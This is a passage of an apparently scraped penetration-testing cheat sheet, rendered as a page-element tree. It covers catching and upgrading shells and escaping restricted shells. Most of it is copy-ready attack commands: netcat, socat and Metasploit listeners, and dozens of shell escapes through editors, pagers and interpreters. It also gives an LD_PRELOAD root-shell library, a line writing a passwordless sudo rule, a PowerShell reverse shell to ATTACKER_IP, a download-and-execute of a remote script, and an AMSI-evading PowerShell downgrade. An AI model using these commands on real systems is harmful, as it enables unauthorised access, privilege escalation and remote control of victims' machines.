+            - button "Copy" [ref=f11e1925] [cursor=pointer]
+          - code [ref=f11e1930]:
+            - generic [ref=f11e1931]: "# Install"
+            - generic [ref=f11e1932]: pip install pwncat-cs
+            - generic [ref=f11e1933]: "# Listener (catches and auto-upgrades)"
+            - generic [ref=f11e1934]: pwncat-cs -lp 4444
+            - generic [ref=f11e1935]: "# Or connect to a bind shell"
+            - generic [ref=f11e1936]: pwncat-cs connect -t <TARGET_IP> -p 4444
+        - paragraph [ref=f11e1937]:
+          - text: Once connected, press
+          - code [ref=f11e1938]: Ctrl+D
+          - text: to drop into a local pwncat prompt for file transfers, enumeration, etc.
+        - separator [ref=f11e1939]
+        - heading "3. Listener Setup (Attacker Side)" [level=2] [ref=f11e1940]
+        - heading "Netcat Listeners" [level=3] [ref=f11e1941]
+        - figure "bash Copy" [ref=f11e1942]:
+          - generic [ref=f11e1943]:
+            - generic [ref=f11e1944]: bash
+            - button "Copy" [ref=f11e1945] [cursor=pointer]
+          - code [ref=f11e1950]:
+            - generic [ref=f11e1951]: "# Standard"
+            - generic [ref=f11e1952]: nc -lvnp 4444
+            - generic [ref=f11e1953]: "# With rlwrap (arrow keys + history)"
+            - generic [ref=f11e1954]: rlwrap nc -lvnp 4444
+            - generic [ref=f11e1955]: "# Netcat OpenBSD (no -e support)"
+            - generic [ref=f11e1956]: nc -lvnp 4444
+            - generic [ref=f11e1957]: "# Ncat (Nmap's netcat β€” supports SSL)"
+            - generic [ref=f11e1958]: ncat --ssl -lvnp 4444
+        - heading "Socat Listener (Full TTY)" [level=3] [ref=f11e1959]
+        - figure "bash Copy" [ref=f11e1960]:
+          - generic [ref=f11e1961]:
+            - generic [ref=f11e1962]: bash
+            - button "Copy" [ref=f11e1963] [cursor=pointer]
+          - code [ref=f11e1968]:
+            - generic [ref=f11e1969]: socat file:$(tty),raw,echo=0 tcp-listen:4444
+        - heading "Metasploit multi/handler" [level=3] [ref=f11e1970]
+        - figure "bash Copy" [ref=f11e1971]:
+          - generic [ref=f11e1972]:
+            - generic [ref=f11e1973]: bash
+            - button "Copy" [ref=f11e1974] [cursor=pointer]
+          - code [ref=f11e1979]:
+            - generic [ref=f11e1980]: msfconsole -q -x "use exploit/multi/handler; set payload linux/x64/shell_reverse_tcp; set LHOST <IP>; set LPORT 4444; run"
+        - heading "pwncat-cs" [level=3] [ref=f11e1981]
+        - figure "bash Copy" [ref=f11e1982]:
+          - generic [ref=f11e1983]:
+            - generic [ref=f11e1984]: bash
+            - button "Copy" [ref=f11e1985] [cursor=pointer]
+          - code [ref=f11e1990]:
+            - generic [ref=f11e1991]: pwncat-cs -lp 4444
+        - separator [ref=f11e1992]
+        - heading "4. Escaping Restricted Shells" [level=2] [ref=f11e1993]
+        - paragraph [ref=f11e1994]:
+          - text: Restricted shells (rbash, rksh, rzsh, lshell, rssh) limit what commands you can run, prevent
+          - code [ref=f11e1995]: cd
+          - text: ", restrict PATH changes, and block redirection. The goal is to break out into an unrestricted shell."
+        - heading "Reconnaissance β€” Identify Your Restrictions" [level=3] [ref=f11e1996]
+        - figure "bash Copy" [ref=f11e1997]:
+          - generic [ref=f11e1998]:
+            - generic [ref=f11e1999]: bash
+            - button "Copy" [ref=f11e2000] [cursor=pointer]
+          - code [ref=f11e2005]:
+            - generic [ref=f11e2006]: "# What shell am I in?"
+            - generic [ref=f11e2007]: echo $SHELL
+            - generic [ref=f11e2008]: echo $0
+            - generic [ref=f11e2009]: cat /etc/passwd | grep $(whoami)
+            - generic [ref=f11e2010]: "# What can I do?"
+            - generic [ref=f11e2011]: echo $PATH
+            - generic [ref=f11e2012]: "echo /usr/bin/* # Globbing to list available binaries"
+            - generic [ref=f11e2013]: echo /bin/*
+            - generic [ref=f11e2014]: echo /usr/local/bin/*
+            - generic [ref=f11e2015]: "# Double-tap Tab to list available commands"
+            - generic [ref=f11e2016]: "# (press Tab twice at an empty prompt)"
+            - generic [ref=f11e2017]: "# Check for environment variables"
+            - generic [ref=f11e2018]: env
+            - generic [ref=f11e2019]: export
+            - generic [ref=f11e2020]: "# Check sudo permissions"
+            - generic [ref=f11e2021]: sudo -l
+            - generic [ref=f11e2022]: "# Check SUID binaries"
+            - generic [ref=f11e2023]: find / -perm -4000 -type f 2>/dev/null
+        - blockquote [ref=f11e2024]:
+          - paragraph [ref=f11e2025]: "[!info] Common Restricted Shell Error Messages"
+          - list [ref=f11e2026]:
+            - listitem [ref=f11e2027]:
+              - strong [ref=f11e2028]: "rbash:"
+              - code [ref=f11e2029]: "bash: /usr/bin/command: restricted: cannot specify '/' in command names"
+            - listitem [ref=f11e2030]:
+              - strong [ref=f11e2031]: "lshell:"
+              - code [ref=f11e2032]: "*** forbidden command: command"
+            - listitem [ref=f11e2033]:
+              - strong [ref=f11e2034]: "rksh:"
+              - code [ref=f11e2035]: "ksh: command: restricted"
+            - listitem [ref=f11e2036]:
+              - strong [ref=f11e2037]: "rzsh:"
+              - code [ref=f11e2038]: "zsh: restricted"
+        - heading "Direct Shell Escape Techniques" [level=3] [ref=f11e2039]
+        - heading [level=4] [ref=f11e2040]:
+          - text: If
+          - code [ref=f11e2041]: /
+          - text: is Allowed in Commands
+        - figure "bash Copy" [ref=f11e2042]:
+          - generic [ref=f11e2043]:
+            - generic [ref=f11e2044]: bash
+            - button "Copy" [ref=f11e2045] [cursor=pointer]
+          - code [ref=f11e2050]:
+            - generic [ref=f11e2051]: /bin/sh
+            - generic [ref=f11e2052]: /bin/bash
+            - generic [ref=f11e2053]: /bin/dash
+        - heading "Copy a Shell to Your PATH" [level=4] [ref=f11e2054]
+        - figure "bash Copy" [ref=f11e2055]:
+          - generic [ref=f11e2056]:
+            - generic [ref=f11e2057]: bash
+            - button "Copy" [ref=f11e2058] [cursor=pointer]
+          - code [ref=f11e2063]:
+            - generic [ref=f11e2064]: cp /bin/bash .
+            - generic [ref=f11e2065]: ./bash
+        - heading "Modify PATH" [level=4] [ref=f11e2066]
+        - figure "bash Copy" [ref=f11e2067]:
+          - generic [ref=f11e2068]:
+            - generic [ref=f11e2069]: bash
+            - button "Copy" [ref=f11e2070] [cursor=pointer]
+          - code [ref=f11e2075]:
+            - generic [ref=f11e2076]: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
+        - heading "BASH_CMDS Trick (rbash)" [level=4] [ref=f11e2077]
+        - figure "bash Copy" [ref=f11e2078]:
+          - generic [ref=f11e2079]:
+            - generic [ref=f11e2080]: bash
+            - button "Copy" [ref=f11e2081] [cursor=pointer]
+          - code [ref=f11e2086]:
+            - generic [ref=f11e2087]: BASH_CMDS[a]=/bin/sh;a
+            - generic [ref=f11e2088]: "# Then fix your PATH:"
+            - generic [ref=f11e2089]: export PATH=$PATH:/bin:/usr/bin
+        - heading "Assign Shell in a Variable" [level=4] [ref=f11e2090]
+        - figure "bash Copy" [ref=f11e2091]:
+          - generic [ref=f11e2092]:
+            - generic [ref=f11e2093]: bash
+            - button "Copy" [ref=f11e2094] [cursor=pointer]
+          - code [ref=f11e2099]:
+            - generic [ref=f11e2100]: SHELL=/bin/bash
+            - generic [ref=f11e2101]: exec /bin/bash
+        - heading "Escape via Text Editors" [level=3] [ref=f11e2102]
+        - heading "vi / vim" [level=4] [ref=f11e2103]
+        - figure "vim Copy" [ref=f11e2104]:
+          - generic [ref=f11e2105]:
+            - generic [ref=f11e2106]: vim
+            - button "Copy" [ref=f11e2107] [cursor=pointer]
+          - code [ref=f11e2112]:
+            - generic [ref=f11e2113]: :set shell=/bin/bash
+            - generic [ref=f11e2114]: :shell
+        - paragraph [ref=f11e2115]: "Or:"
+        - figure "vim Copy" [ref=f11e2116]:
+          - generic [ref=f11e2117]:
+            - generic [ref=f11e2118]: vim
+            - button "Copy" [ref=f11e2119] [cursor=pointer]
+          - code [ref=f11e2124]:
+            - generic [ref=f11e2125]: :!/bin/bash
+        - heading "ed" [level=4] [ref=f11e2126]
+        - figure "plaintext Copy" [ref=f11e2127]:
+          - generic [ref=f11e2128]:
+            - generic [ref=f11e2129]: plaintext
+            - button "Copy" [ref=f11e2130] [cursor=pointer]
+          - code [ref=f11e2135]:
+            - generic [ref=f11e2136]: "!'/bin/bash'"
+        - paragraph [ref=f11e2137]: "Or:"
+        - figure "plaintext Copy" [ref=f11e2138]:
+          - generic [ref=f11e2139]:
+            - generic [ref=f11e2140]: plaintext
+            - button "Copy" [ref=f11e2141] [cursor=pointer]
+          - code [ref=f11e2146]:
+            - generic [ref=f11e2147]: ed
+            - generic [ref=f11e2148]: "!/bin/sh"
+        - heading "ne (Nice Editor)" [level=4] [ref=f11e2149]
+        - paragraph [ref=f11e2150]: Load a shell command from within ne’s command execution feature, or abuse its config file loading to read arbitrary files.
+        - heading "nano" [level=4] [ref=f11e2151]
+        - figure "plaintext Copy" [ref=f11e2152]:
+          - generic [ref=f11e2153]:
+            - generic [ref=f11e2154]: plaintext
+            - button "Copy" [ref=f11e2155] [cursor=pointer]
+          - code [ref=f11e2160]:
+            - generic [ref=f11e2161]: Ctrl+R β†’ Ctrl+X β†’ command to execute
+        - blockquote [ref=f11e2162]:
+          - paragraph [ref=f11e2163]: "[!note] This executes a command from within nano’s β€œRead File” β†’ β€œExecute Command” feature."
+        - heading "Escape via Pager Commands" [level=3] [ref=f11e2164]
+        - heading "less" [level=4] [ref=f11e2165]
+        - figure "bash Copy" [ref=f11e2166]:
+          - generic [ref=f11e2167]:
+            - generic [ref=f11e2168]: bash
+            - button "Copy" [ref=f11e2169] [cursor=pointer]
+          - code [ref=f11e2174]:
+            - generic [ref=f11e2175]: less /etc/passwd
+            - generic [ref=f11e2176]: "!/bin/bash"
+        - heading "more" [level=4] [ref=f11e2177]
+        - figure "bash Copy" [ref=f11e2178]:
+          - generic [ref=f11e2179]:
+            - generic [ref=f11e2180]: bash
+            - button "Copy" [ref=f11e2181] [cursor=pointer]
+          - code [ref=f11e2186]:
+            - generic [ref=f11e2187]: more /etc/passwd
+            - generic [ref=f11e2188]: "!/bin/bash"
+        - blockquote [ref=f11e2189]:
+          - paragraph [ref=f11e2190]:
+            - text: "[!tip]"
+            - code [ref=f11e2191]: less
+            - text: and
+            - code [ref=f11e2192]: more
+            - text: "only drop to a shell prompt if the file is longer than one screen. If needed, use a large file or pipe:"
+            - code [ref=f11e2193]: cat /etc/passwd /etc/passwd /etc/passwd | less
+        - heading "man" [level=4] [ref=f11e2194]
+        - figure "bash Copy" [ref=f11e2195]:
+          - generic [ref=f11e2196]:
+            - generic [ref=f11e2197]: bash
+            - button "Copy" [ref=f11e2198] [cursor=pointer]
+          - code [ref=f11e2203]:
+            - generic [ref=f11e2204]: man ls
+            - generic [ref=f11e2205]: "!/bin/bash"
+        - heading "pinfo" [level=4] [ref=f11e2206]
+        - figure "bash Copy" [ref=f11e2207]:
+          - generic [ref=f11e2208]:
+            - generic [ref=f11e2209]: bash
+            - button "Copy" [ref=f11e2210] [cursor=pointer]
+          - code [ref=f11e2215]:
+            - generic [ref=f11e2216]: pinfo ls
+            - generic [ref=f11e2217]: "! # Press ! at the pinfo prompt"
+            - generic [ref=f11e2218]: /bin/bash
+        - heading "Escape via Programming Languages" [level=3] [ref=f11e2219]
+        - heading "Python" [level=4] [ref=f11e2220]
+        - figure "bash Copy" [ref=f11e2221]:
+          - generic [ref=f11e2222]:
+            - generic [ref=f11e2223]: bash
+            - button "Copy" [ref=f11e2224] [cursor=pointer]
+          - code [ref=f11e2229]:
+            - generic [ref=f11e2230]: python3 -c 'import os; os.system("/bin/bash")'
+            - generic [ref=f11e2231]: python3 -c 'import pty; pty.spawn("/bin/bash")'
+            - generic [ref=f11e2232]: python3 -c '__import__("subprocess").call(["/bin/bash"])'
+        - heading "Perl" [level=4] [ref=f11e2233]
+        - figure "bash Copy" [ref=f11e2234]:
+          - generic [ref=f11e2235]:
+            - generic [ref=f11e2236]: bash
+            - button "Copy" [ref=f11e2237] [cursor=pointer]
+          - code [ref=f11e2242]:
+            - generic [ref=f11e2243]: perl -e 'exec "/bin/bash";'
+            - generic [ref=f11e2244]: perl -e 'system("/bin/bash");'
+        - heading "Ruby" [level=4] [ref=f11e2245]
+        - figure "bash Copy" [ref=f11e2246]:
+          - generic [ref=f11e2247]:
+            - generic [ref=f11e2248]: bash
+            - button "Copy" [ref=f11e2249] [cursor=pointer]
+          - code [ref=f11e2254]:
+            - generic [ref=f11e2255]: ruby -e 'exec "/bin/bash"'
+        - heading "Lua" [level=4] [ref=f11e2256]
+        - figure "bash Copy" [ref=f11e2257]:
+          - generic [ref=f11e2258]:
+            - generic [ref=f11e2259]: bash
+            - button "Copy" [ref=f11e2260] [cursor=pointer]
+          - code [ref=f11e2265]:
+            - generic [ref=f11e2266]: lua -e 'os.execute("/bin/bash")'
+        - heading "PHP" [level=4] [ref=f11e2267]
+        - figure "bash Copy" [ref=f11e2268]:
+          - generic [ref=f11e2269]:
+            - generic [ref=f11e2270]: bash
+            - button "Copy" [ref=f11e2271] [cursor=pointer]
+          - code [ref=f11e2276]:
+            - generic [ref=f11e2277]: php -r 'system("/bin/bash");'
+        - heading "IRB (Interactive Ruby)" [level=4] [ref=f11e2278]
+        - figure "ruby Copy" [ref=f11e2279]:
+          - generic [ref=f11e2280]:
+            - generic [ref=f11e2281]: ruby
+            - button "Copy" [ref=f11e2282] [cursor=pointer]
+          - code [ref=f11e2287]:
+            - generic [ref=f11e2288]: exec "/bin/sh"
+        - heading "Node.js" [level=4] [ref=f11e2289]
+        - figure "bash Copy" [ref=f11e2290]:
+          - generic [ref=f11e2291]:
+            - generic [ref=f11e2292]: bash
+            - button "Copy" [ref=f11e2293] [cursor=pointer]
+          - code [ref=f11e2298]:
+            - generic [ref=f11e2299]: "node -e 'require(\"child_process\").spawn(\"/bin/bash\", {stdio: [0, 1, 2]})'"
+        - heading "Expect" [level=4] [ref=f11e2300]
+        - figure "bash Copy" [ref=f11e2301]:
+          - generic [ref=f11e2302]:
+            - generic [ref=f11e2303]: bash
+            - button "Copy" [ref=f11e2304] [cursor=pointer]
+          - code [ref=f11e2309]:
+            - generic [ref=f11e2310]: expect -c 'spawn /bin/bash; interact'
+        - heading "Escape via System Commands" [level=3] [ref=f11e2311]
+        - heading "awk" [level=4] [ref=f11e2312]
+        - figure "bash Copy" [ref=f11e2313]:
+          - generic [ref=f11e2314]:
+            - generic [ref=f11e2315]: bash
+            - button "Copy" [ref=f11e2316] [cursor=pointer]
+          - code [ref=f11e2321]:
+            - generic [ref=f11e2322]: "awk 'BEGIN {system(\"/bin/bash\")}'"
+        - heading "find" [level=4] [ref=f11e2323]
+        - figure "bash Copy" [ref=f11e2324]:
+          - generic [ref=f11e2325]:
+            - generic [ref=f11e2326]: bash
+            - button "Copy" [ref=f11e2327] [cursor=pointer]
+          - code [ref=f11e2332]:
+            - generic [ref=f11e2333]: find / -exec /bin/bash \; -quit
+        - heading "ftp" [level=4] [ref=f11e2334]
+        - figure "bash Copy" [ref=f11e2335]:
+          - generic [ref=f11e2336]:
+            - generic [ref=f11e2337]: bash
+            - button "Copy" [ref=f11e2338] [cursor=pointer]
+          - code [ref=f11e2343]:
+            - generic [ref=f11e2344]: ftp
+            - generic [ref=f11e2345]: "!/bin/bash"
+        - heading "gdb" [level=4] [ref=f11e2346]
+        - figure "bash Copy" [ref=f11e2347]:
+          - generic [ref=f11e2348]:
+            - generic [ref=f11e2349]: bash
+            - button "Copy" [ref=f11e2350] [cursor=pointer]
+          - code [ref=f11e2355]:
+            - generic [ref=f11e2356]: gdb -nx -ex '!bash' -ex quit
+        - heading "nmap (Legacy)" [level=4] [ref=f11e2357]
+        - figure "bash Copy" [ref=f11e2358]:
+          - generic [ref=f11e2359]:
+            - generic [ref=f11e2360]: bash
+            - button "Copy" [ref=f11e2361] [cursor=pointer]
+          - code [ref=f11e2366]:
+            - generic [ref=f11e2367]: "# Only works on old nmap versions (pre-2009)"
+            - generic [ref=f11e2368]: nmap --interactive
+            - generic [ref=f11e2369]: "!sh"
+        - heading "git" [level=4] [ref=f11e2370]
+        - figure "bash Copy" [ref=f11e2371]:
+          - generic [ref=f11e2372]:
+            - generic [ref=f11e2373]: bash
+            - button "Copy" [ref=f11e2374] [cursor=pointer]
+          - code [ref=f11e2379]:
+            - generic [ref=f11e2380]: git help config
+            - generic [ref=f11e2381]: "!/bin/bash"
+            - generic [ref=f11e2382]: "# Or"
+            - generic [ref=f11e2383]: git -p help
+            - generic [ref=f11e2384]: "!/bin/bash"
+            - generic [ref=f11e2385]: "# Or via GIT_PAGER"
+            - generic [ref=f11e2386]: PAGER='/bin/bash' git -p help
+        - heading "zip" [level=4] [ref=f11e2387]
+        - figure "bash Copy" [ref=f11e2388]:
+          - generic [ref=f11e2389]:
+            - generic [ref=f11e2390]: bash
+            - button "Copy" [ref=f11e2391] [cursor=pointer]
+          - code [ref=f11e2396]:
+            - generic [ref=f11e2397]: zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
+        - heading "tar" [level=4] [ref=f11e2398]
+        - figure "bash Copy" [ref=f11e2399]:
+          - generic [ref=f11e2400]:
+            - generic [ref=f11e2401]: bash
+            - button "Copy" [ref=f11e2402] [cursor=pointer]
+          - code [ref=f11e2407]:
+            - generic [ref=f11e2408]: tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash
+        - heading "tee" [level=4] [ref=f11e2409]
+        - figure "bash Copy" [ref=f11e2410]:
+          - generic [ref=f11e2411]:
+            - generic [ref=f11e2412]: bash
+            - button "Copy" [ref=f11e2413] [cursor=pointer]
+          - code [ref=f11e2418]:
+            - generic [ref=f11e2419]: "echo \"user ALL=(ALL) NOPASSWD: ALL\" | tee -a /etc/sudoers"
+        - heading "script" [level=4] [ref=f11e2420]
+        - figure "bash Copy" [ref=f11e2421]:
+          - generic [ref=f11e2422]:
+            - generic [ref=f11e2423]: bash
+            - button "Copy" [ref=f11e2424] [cursor=pointer]
+          - code [ref=f11e2429]:
+            - generic [ref=f11e2430]: script -qc /bin/bash /dev/null
+        - heading "env" [level=4] [ref=f11e2431]
+        - figure "bash Copy" [ref=f11e2432]:
+          - generic [ref=f11e2433]:
+            - generic [ref=f11e2434]: bash
+            - button "Copy" [ref=f11e2435] [cursor=pointer]
+          - code [ref=f11e2440]:
+            - generic [ref=f11e2441]: env /bin/bash
+        - heading "scp" [level=4] [ref=f11e2442]
+        - figure "bash Copy" [ref=f11e2443]:
+          - generic [ref=f11e2444]:
+            - generic [ref=f11e2445]: bash
+            - button "Copy" [ref=f11e2446] [cursor=pointer]
+          - code [ref=f11e2451]:
+            - generic [ref=f11e2452]: TF=$(mktemp)
+            - generic [ref=f11e2453]: echo 'bash 0<&2 1>&2' > $TF
+            - generic [ref=f11e2454]: chmod +x $TF
+            - generic [ref=f11e2455]: "scp -S $TF x y:"
+        - heading "Escape via SSH" [level=3] [ref=f11e2456]
+        - paragraph [ref=f11e2457]: "If you have SSH credentials for the restricted user:"
+        - figure "bash Copy" [ref=f11e2458]:
+          - generic [ref=f11e2459]:
+            - generic [ref=f11e2460]: bash
+            - button "Copy" [ref=f11e2461] [cursor=pointer]
+          - code [ref=f11e2466]:
+            - generic [ref=f11e2467]: "# Force a pseudo-terminal with a proper shell"
+            - generic [ref=f11e2468]: ssh user@target -t "/bin/bash"
+            - generic [ref=f11e2469]: ssh user@target -t "/bin/sh"
+            - generic [ref=f11e2470]: "# Bypass profile/bashrc restrictions"
+            - generic [ref=f11e2471]: ssh user@target -t "bash --noprofile"
+            - generic [ref=f11e2472]: ssh user@target -t "bash --norc"
+            - generic [ref=f11e2473]: ssh user@target -t "bash --noprofile --norc"
+            - generic [ref=f11e2474]: "# ShellShock (CVE-2014-6271) β€” if vulnerable"
+            - generic [ref=f11e2475]: "ssh user@target -t \"() { :; }; /bin/bash\""
+        - heading "Escape via Environment Variables" [level=3] [ref=f11e2476]
+        - heading "Overwrite PATH" [level=4] [ref=f11e2477]
+        - figure "bash Copy" [ref=f11e2478]:
+          - generic [ref=f11e2479]:
+            - generic [ref=f11e2480]: bash
+            - button "Copy" [ref=f11e2481] [cursor=pointer]
+          - code [ref=f11e2486]:
+            - generic [ref=f11e2487]: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH
+        - heading "LD_PRELOAD (if sudo is available)" [level=4] [ref=f11e2488]
+        - figure "bash Copy" [ref=f11e2489]:
+          - generic [ref=f11e2490]:
+            - generic [ref=f11e2491]: bash
+            - button "Copy" [ref=f11e2492] [cursor=pointer]
+          - code [ref=f11e2497]:
+            - generic [ref=f11e2498]: "# If sudo -l shows env_keep+=LD_PRELOAD"
+            - generic [ref=f11e2499]: "# Compile a shared library:"
+            - generic [ref=f11e2500]: "# --- shell.c ---"
+            - generic [ref=f11e2501]: "# #include <stdio.h>"
+            - generic [ref=f11e2502]: "# #include <sys/types.h>"
+            - generic [ref=f11e2503]: "# #include <stdlib.h>"
+            - generic [ref=f11e2504]: "# void _init() {"
+            - generic [ref=f11e2505]: "# unsetenv(\"LD_PRELOAD\");"
+            - generic [ref=f11e2506]: "# setgid(0);"
+            - generic [ref=f11e2507]: "# setuid(0);"
+            - generic [ref=f11e2508]: "# system(\"/bin/bash\");"
+            - generic [ref=f11e2509]: "# }"
+            - generic [ref=f11e2510]: gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
+            - generic [ref=f11e2511]: sudo LD_PRELOAD=/tmp/shell.so <allowed_command>
+        - heading "BASH_ENV / ENV" [level=4] [ref=f11e2512]
+        - figure "bash Copy" [ref=f11e2513]:
+          - generic [ref=f11e2514]:
+            - generic [ref=f11e2515]: bash
+            - button "Copy" [ref=f11e2516] [cursor=pointer]
+          - code [ref=f11e2521]:
+            - generic [ref=f11e2522]: "# If the restricted shell sources BASH_ENV on startup"
+            - generic [ref=f11e2523]: echo '/bin/bash' > /tmp/evil.sh
+            - generic [ref=f11e2524]: export BASH_ENV=/tmp/evil.sh
+            - generic [ref=f11e2525]: bash
+        - heading "Escape via Startup Files" [level=3] [ref=f11e2526]
+        - paragraph [ref=f11e2527]:
+          - text: If you can write to
+          - code [ref=f11e2528]: ~/.bashrc
+          - text: ","
+          - code [ref=f11e2529]: ~/.bash_profile
+          - text: ","
+          - code [ref=f11e2530]: ~/.profile
+          - text: ", or similar:"
+        - figure "bash Copy" [ref=f11e2531]:
+          - generic [ref=f11e2532]:
+            - generic [ref=f11e2533]: bash
+            - button "Copy" [ref=f11e2534] [cursor=pointer]
+          - code [ref=f11e2539]:
+            - generic [ref=f11e2540]: "# Add to .bashrc or .profile"
+            - generic [ref=f11e2541]: /bin/bash
+            - generic [ref=f11e2542]: "# Or modify PATH"
+            - generic [ref=f11e2543]: PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
+        - paragraph [ref=f11e2544]: Then log out and log back in (or source the file).
+        - heading "Escape via Wildcards & Globbing" [level=3] [ref=f11e2545]
+        - paragraph [ref=f11e2546]:
+          - text: If
+          - code [ref=f11e2547]: echo
+          - text: is available but
+          - code [ref=f11e2548]: ls
+          - text: "is not:"
+        - figure "bash Copy" [ref=f11e2549]:
+          - generic [ref=f11e2550]:
+            - generic [ref=f11e2551]: bash
+            - button "Copy" [ref=f11e2552] [cursor=pointer]
+          - code [ref=f11e2557]:
+            - generic [ref=f11e2558]: "echo /usr/bin/* # List binaries"
+            - generic [ref=f11e2559]: "echo /home/* # List home directories"
+            - generic [ref=f11e2560]: "echo /etc/pass* # Read passwd"
+        - paragraph [ref=f11e2561]:
+          - text: If
+          - code [ref=f11e2562]: cp
+          - text: "is available:"
+        - figure "bash Copy" [ref=f11e2563]:
+          - generic [ref=f11e2564]:
+            - generic [ref=f11e2565]: bash
+            - button "Copy" [ref=f11e2566] [cursor=pointer]
+          - code [ref=f11e2571]:
+            - generic [ref=f11e2572]: cp /bin/bash /home/user/allowed_dir/bash
+            - generic [ref=f11e2573]: ./allowed_dir/bash
+        - separator [ref=f11e2574]
+        - heading "5. Windows Interactive Shells" [level=2] [ref=f11e2575]
+        - heading "PowerShell Reverse Shells" [level=3] [ref=f11e2576]
+        - figure "powershell Copy" [ref=f11e2577]:
+          - generic [ref=f11e2578]:
+            - generic [ref=f11e2579]: powershell
+            - button "Copy" [ref=f11e2580] [cursor=pointer]
+          - code [ref=f11e2585]:
+            - generic [ref=f11e2586]: "# One-liner"
+            - generic [ref=f11e2587]: "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
+        - heading "ConPtyShell (Fully Interactive Windows Shell)" [level=3] [ref=f11e2588]
+        - paragraph [ref=f11e2589]:
+          - text: Uses Windows Pseudo Console (ConPty) β€” available on Windows 10/Server 2019 build 17763+. This gives a
+          - strong [ref=f11e2590]: true interactive shell
+          - text: with full terminal features.
+        - paragraph [ref=f11e2591]:
+          - strong [ref=f11e2592]: "Attacker:"
+        - figure "bash Copy" [ref=f11e2593]:
+          - generic [ref=f11e2594]:
+            - generic [ref=f11e2595]: bash
+            - button "Copy" [ref=f11e2596] [cursor=pointer]
+          - code [ref=f11e2601]:
+            - generic [ref=f11e2602]: stty raw -echo; (stty size; cat) | nc -lvnp 3001
+        - paragraph [ref=f11e2603]:
+          - strong [ref=f11e2604]: "Target (PowerShell):"
+        - figure "powershell Copy" [ref=f11e2605]:
+          - generic [ref=f11e2606]:
+            - generic [ref=f11e2607]: powershell
+            - button "Copy" [ref=f11e2608] [cursor=pointer]
+          - code [ref=f11e2613]:
+            - generic [ref=f11e2614]: IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell <ATTACKER_IP> 3001
+        - heading "Upgrading Windows Shells" [level=3] [ref=f11e2615]
+        - figure "powershell Copy" [ref=f11e2616]:
+          - generic [ref=f11e2617]:
+            - generic [ref=f11e2618]: powershell
+            - button "Copy" [ref=f11e2619] [cursor=pointer]
+          - code [ref=f11e2624]:
+            - generic [ref=f11e2625]: "# Check if you're in a constrained language mode"
+            - generic [ref=f11e2626]: $ExecutionContext.SessionState.LanguageMode
+            - generic [ref=f11e2627]: "# Bypass constrained language mode (if possible)"
+            - generic [ref=f11e2628]: "powershell -version 2 # Downgrade to PS v2 (no AMSI, no CLM)"
+        - separator [ref=f11e2629]
+        - heading "6. Quick Reference" [level=2] [ref=f11e2630]
+        - heading "Shell Upgrade Workflow (Copy-Paste Ready)" [level=3] [ref=f11e2631]
+        - figure "bash Copy" [ref=f11e2632]:
+          - generic [ref=f11e2633]:
+            - generic [ref=f11e2634]: bash
+            - button "Copy" [ref=f11e2635] [cursor=pointer]
+          - code [ref=f11e2640]:
+            - generic [ref=f11e2641]: "# ===== STEP 1: On target β€” spawn PTY ====="
+            - generic [ref=f11e2642]: python3 -c 'import pty; pty.spawn("/bin/bash")'
+            - generic [ref=f11e2643]: "# If no Python:"
+            - generic [ref=f11e2644]: /usr/bin/script -qc /bin/bash /dev/null
+            - generic [ref=f11e2645]: "# ===== STEP 2: Background the shell ====="
+            - generic [ref=f11e2646]: "# Press: Ctrl+Z"
+            - generic [ref=f11e2647]: "# ===== STEP 3: On attacker β€” configure terminal ====="
+            - generic [ref=f11e2648]: stty raw -echo; fg
+            - generic [ref=f11e2649]: "# (for zsh users, this MUST be one line)"
+            - generic [ref=f11e2650]: "# ===== STEP 4: Back on target β€” finalise ====="
+            - generic [ref=f11e2651]: reset
+            - generic [ref=f11e2652]: export SHELL=bash
+            - generic [ref=f11e2653]: export TERM=xterm-256color
+            - generic [ref=f11e2654]: stty rows <ROWS> columns <COLS>
+        - heading "One-Liner TTY Spawn Quick Reference" [level=3] [ref=f11e2655]
+        - table [ref=f11e2657]:
+          - rowgroup [ref=f11e2658]:
+            - row [ref=f11e2659]:
+              - columnheader "Language/Tool" [ref=f11e2660]
+              - columnheader "Command" [ref=f11e2661]
+          - rowgroup [ref=f11e2662]:
+            - row [ref=f11e2663]:
+              - cell "Python 3" [ref=f11e2664]
+              - cell [ref=f11e2665]:
+                - code [ref=f11e2666]: python3 -c 'import pty; pty.spawn("/bin/bash")'
+            - row [ref=f11e2667]:
+              - cell "Python 2" [ref=f11e2668]
+              - cell [ref=f11e2669]:
+                - code [ref=f11e2670]: python -c 'import pty; pty.spawn("/bin/bash")'
+            - row [ref=f11e2671]:
+              - cell "script" [ref=f11e2672]
+              - cell [ref=f11e2673]:
+                - code [ref=f11e2674]: /usr/bin/script -qc /bin/bash /dev/null
+            - row [ref=f11e2675]:
+              - cell "Perl" [ref=f11e2676]
+              - cell [ref=f11e2677]:
+                - code [ref=f11e2678]: perl -e 'exec "/bin/bash";'
+            - row [ref=f11e2679]:
+              - cell "Ruby" [ref=f11e2680]
+              - cell [ref=f11e2681]:
+                - code [ref=f11e2682]: ruby -e 'exec "/bin/bash"'
+            - row [ref=f11e2683]:
+              - cell "Lua" [ref=f11e2684]
+              - cell [ref=f11e2685]:
+                - code [ref=f11e2686]: lua -e 'os.execute("/bin/bash")'
+            - row [ref=f11e2687]:
+              - cell "Awk" [ref=f11e2688]
+              - cell [ref=f11e2689]:
+                - code [ref=f11e2690]: "awk 'BEGIN {system(\"/bin/bash\")}'"
+            - row [ref=f11e2691]:
